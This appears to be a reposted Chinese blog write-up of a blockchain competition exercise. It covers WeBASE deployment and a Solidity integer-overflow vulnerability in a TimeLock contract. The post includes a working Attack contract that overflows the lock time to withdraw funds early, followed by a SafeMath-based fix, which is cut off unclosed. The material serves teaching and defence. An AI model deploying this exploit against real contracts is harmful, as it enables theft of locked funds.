任务1-3 区块链系统测试(10分)

WeBASE 平台搭建、验证

WeBASE 部署

# 启动
python3 deploy.py startAll

webase.sgin 功能验证

 webase-node-mgr 进程验证

智能合约安全测试

例题二

源码

pragma solidity ^0.7.6;

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        timeLock.increaseLockTime(
            type(uint).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}

分析问题,说明危害

这个是智能合约中比较典型的漏洞,即为整型溢出。当数据足够大时,对此数据添加1可能将导致数据存在归零的危害,此类问题常常存在与账户转账中金额设置中,包括美链等智能合约都出现类似的问题。

根据 truffle 编写测试用例,复现漏洞

  • 在migrations文件夹中加入代码部署的执行代码

  • 具体测试用例编写内容如下

扫描二维码关注公众号,回复: 16854654 查看本文章

  • 当测试用例执行成功即表示攻击成功,会有如下内容输出:

修复问题,说明修复内容并测试

  • 新智能合约

可以使用类似SafeMath的通用函数,来确保所有加减乘除方法安全,通过定义包括safeAdd等函数确保了智能合约的运算正确性,从而规避了整型溢出的问题,如下为修改后的智能合约示例:

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

contract SafeMath {
  function safeMul(uint256 a, uint256 b) internal returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }
 
  function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
    assert(b > 0);
    uint256 c = a / b;
    assert(a == b * c + a % b);
    return c;
  }
 
  function safeSub(uint256 a, uint256 b) internal returns (uint256) {
    assert(b <= a);
    return a - b;
  }
 
  function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
    uint256 c = a + b;
    assert(c>=a && c>=b);
    return c;
  }
}

contract NewTimeLock is SafeMath {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] = safeAdd(lockTime[msg.sender], _secondsToIncrease);
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract NewAttack {
    NewTimeLock timeLock;

    constructor(NewTimeLock _timeLock) {
        timeLock = NewTimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        /*
        if t = current lock time then we need to find x such that
        x + t = 2**256 = 0
        so x = -t
        2**256 = type(uint).max + 1
        so x = type(uint).max + 1 - t
        */
        timeLock.increaseLockTime(
            type(uint).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
  • 验证测试
    • 使用同样的测试用例,再执行,验证测试攻击是否仍能成功,如下为验证正确性的测试

  • 当有交易被回滚,说明修复成功: 

猜你喜欢

转载自blog.csdn.net/BingjieDreams/article/details/130993812
1-3